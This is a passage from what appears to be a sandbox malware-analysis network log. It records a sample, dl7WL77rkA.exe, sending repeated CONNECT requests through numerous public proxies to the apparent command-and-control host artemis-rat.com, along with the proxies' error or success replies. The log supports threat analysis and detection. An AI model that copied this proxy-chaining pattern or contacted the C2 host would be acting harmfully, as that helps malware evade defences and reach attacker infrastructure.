220	192.168.2.5	50573	104.18.237.128	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.517940998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.672633886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.5	50580	45.14.174.180	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.521006107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.675307989 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.5	50506	3.90.100.12	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.521009922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.737607956 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.5	50583	172.67.182.153	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.524220943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.678627968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.5	50601	104.21.6.88	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.541847944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.695975065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.5	50405	185.191.236.162	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.541870117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.342346907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.942912102 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:41.974256039 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.5	50763	202.159.35.201	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.546885014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.5	50572	47.184.175.164	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.548144102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.278701067 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.14 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3846 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.5	50766	202.159.35.201	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.549994946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.5	50537	159.65.233.115	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.550009012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.773946047 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.5	50772	202.159.35.201	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.553934097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.5	50466	61.111.38.5	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.554408073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.860518932 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 02:30:42 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.5	50614	104.20.34.100	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.556761026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.711235046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.5	50773	202.159.35.201	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.558806896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.5	50485	5.61.33.234	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.566850901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.868489027 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.5	50462	181.212.136.34	7518	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.571228981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.264210939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.264337063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405147076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405554056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468167067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.5	49840	51.89.173.40	54570	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.575664043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592519999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.593162060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592766047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.592717886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.5	50248	117.160.250.130	8899	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.577941895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.246047020 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
